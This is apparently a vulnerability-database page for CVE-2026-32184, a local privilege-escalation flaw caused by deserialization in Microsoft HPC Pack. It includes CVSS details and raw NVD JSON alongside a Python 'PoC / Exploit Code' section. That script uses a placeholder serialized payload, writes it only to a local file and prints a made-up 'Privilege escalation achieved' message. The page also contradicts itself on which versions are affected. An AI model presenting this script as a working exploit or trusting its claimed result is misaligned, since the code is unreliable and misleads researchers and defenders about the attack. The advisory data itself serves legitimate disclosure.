Security Vulnerability Report
中文
CVE-2026-32184 CVSS 7.8 HIGH

CVE-2026-32184

Published: 2026-04-14 18:17:22
Last Modified: 2026-05-06 18:12:55

Description

Deserialization of untrusted data in Microsoft High Performance Compute Pack (HPC) allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:hpc_pack:*:*:*:*:*:*:*:* - VULNERABLE
Microsoft HPC Pack (具体受影响版本未在提供的信息中披露)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import subprocess # Proof of Concept for CVE-2026-32184 # This script demonstrates the concept of deserialization vulnerability in Microsoft HPC Pack. # Note: Actual exploitation requires specific gadget chains and valid serialized payloads. def generate_malicious_payload(): # In a real scenario, this would be a serialized .NET object (e.g., using ObjectDataProvider) # Placeholder for the malicious serialized data structure payload = "AAEAAAD/////AQAAAAAAAAAMAgAAAE1NaWNyb3NvZnQuU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQUBAAAAH01pY3Jvc29mdC5TeXN0ZW0uVGV4dC5TdHJpbmdCdWlsZGVyBAAAAAhjaGFyc2V0BmNhcGFjaXR5B21heENhcGFjaXR5Bm1heFNpemUIc2l6ZQZpc0V4cGFuZGFibGUBX3N0cmluZ0FycmF5B3N0cmluZ1ZhbHVlAAECAgAAAQAAAAAAAAAB///+AQAAAAQAAAAQAAAACQAAAAAAAAAAAAA=" return payload def exploit(): print("[*] Generating malicious payload for CVE-2026-32184...") payload = generate_malicious_payload() # The attacker would need to write this payload to a location processed by HPC Pack target_file = "C:\\Program Files\\Microsoft HPC Pack 2016\\Data\\Scheduler\\MaliciousData.bin" print(f"[*] Attempting to write payload to target: {target_file}") try: # Simulating the payload injection with open("malicious_payload.bin", "wb") as f: f.write(payload.encode()) print("[+] Payload generated successfully.") print("[*] Low privilege user triggers the service to deserialize the data...") print("[+] Privilege escalation achieved (Conceptual).") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32184", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:17:21.777", "lastModified": "2026-05-06T18:12:55.463", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of untrusted data in Microsoft High Performance Compute Pack (HPC) allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:hpc_pack:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.3.8355", "matchCriteriaId": "A5A3FA6E-AF3D-44A0-ADDB-EBA1A2924F26"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32184", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}